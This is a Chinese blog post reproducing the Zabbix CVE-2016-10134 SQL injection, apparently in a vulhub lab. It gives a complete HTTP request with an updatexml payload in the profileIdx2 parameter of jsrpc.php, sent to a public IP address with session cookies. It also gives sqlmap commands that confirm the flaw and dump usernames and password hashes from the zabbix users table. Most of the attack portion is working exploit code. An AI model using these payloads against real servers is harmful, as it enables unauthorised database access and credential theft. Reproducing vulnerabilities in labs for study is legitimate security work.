Zabbix注入漏洞复现

最新推荐文章于 2023-06-08 09:14:49 发布

萌新_大鹏鸟

最新推荐文章于 2023-06-08 09:14:49 发布

阅读量1.4k

点赞数

分类专栏：内网安全文章标签： zabbix web安全

本文链接：https://blog.csdn.net/qq_43590351/article/details/126623773

版权

内网安全专栏收录该内容

9 篇文章 0 订阅

订阅专栏

Zabbix漏洞复现

zabbix是一款服务器监控软件，主要由agent和Server组成分别安装在被监控主
机和服务器上，agent负责定期收集客户端的各种数据信息
当被监控的主机异常时会发送告警信息等。

1.1 CVE-2016-10134

漏洞搭建

利用vulhub靶场直接拉取即可

漏洞复现

靶场搭建完成后访问zabbix页面即可

在这里插入图片描述

zabbix的jsrpc.php页面参数未过滤存在sql漏洞，所以通过访问这个
jsrpc.php页面来触发漏洞，漏洞参数是profileIdx2。
发送如下请求包即可执行sql命令，获取用户数据库信息

POC

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0) HTTP/1.1
Host: 139.224.225.64:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: zbx_sessionid=a910d1ec40f87376df62f0ef4432b7df; PHPSESSID=jrjqaip6ims54v8sctfdqevvm4
Upgrade-Insecure-Requests: 1

在这里插入图片描述

sqlmap

python sqlmap.py -u "http://139.224.225.64:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=
web.item.graph&resourcetype=17&profileIdx2=*" --batch

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T4zazdrD-1661928411753)(Zabbix漏洞复现.assets/image-20220831104635583.png)]

可见是存在注入的，下面是爆破用户名密码信息。
sqlmap -u "http://139.224.225.64:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=
web.item.graph&resourcetype=17&profileIdx2=1" -D zabbix -T users -C name,passwd --dump